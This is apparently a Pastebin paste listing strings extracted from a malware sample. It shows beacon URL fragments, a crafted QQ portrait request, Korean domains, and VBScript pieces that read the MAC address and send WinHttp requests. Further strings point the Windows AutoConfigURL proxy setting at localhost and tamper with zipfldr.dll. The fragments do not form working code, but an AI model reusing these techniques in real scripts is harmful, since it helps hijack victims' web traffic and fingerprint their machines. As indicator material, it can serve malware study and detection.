Advertisement
PepperPotts

5f17cf9aee107458995c434d21263528132b5d0ab8a20121d3de48478ec6

Mar 17th, 2019
3,342
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.13 KB | None | 0 0
  1. http://
  2. /ca.php
  3. ?m=
  4. &h;=
  5. GET
  6. ?p
  7. POST
  8. users.qzone.qq.com
  9. GET /fcg-bin/cgi_get_portrait.fcg?uins=
  10. HTTP/1.1
  11. Host: users.qzone.qq.com
  12. Connection: keep-alive
  13. Accept: */*
  14. User-Agent: Mozilla/5.0 (Window
  15. www.naver.com
  16. 0.0.0.0
  17. .com.ore
  18. .kr
  19. .kr.ore
  20. ET
  21. step_down.php?key=b65668d36922c820
  22. HTTP/1.1 200 OK
  23. Accept-Ranges: bytes
  24. Content-Type: text/plain
  25. Content-Length:
  26. VBScript
  27. Function MACAddress()
  28. Dim mc,mo
  29. Set mc=GetObject("Winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration")
  30. For Each mo In mc
  31. If mo.IPEnabled=True Then
  32. MACAddress= mo.MacAddress
  33. Exit For
  34. End If
  35. MACAddress
  36. WinHttp.WinHttpRequest.5.1
  37. Open
  38. Send
  39. responseBody
  40. Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\AutoConfigURL
  41. http://127.0.0.1:
  42. CreateObject("Scripting.FileSystemObject").CopyFolder "{tmp}","{tmp_}"
  43. AddCode
  44. Applications\\zipfldr.dll\\NoOpenWith
  45. regsvr32 /s zipfldr.dll
  46. zip
  47. Error
  48. Sub run(ByVal A, ByVal B)
  49. Set fso = CreateObject("Scripting.FileSystemObject")
  50. If fso.GetExtensionName(B) <> "zip" Then
  51. Exit Sub
  52. ElseIf fso.FolderExists(A) Then
  53. FType = "Folder"
  54. ElseIf fso.FileExists(A) Then
  55. Line
  56. ConnId
  57. ProxyId
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement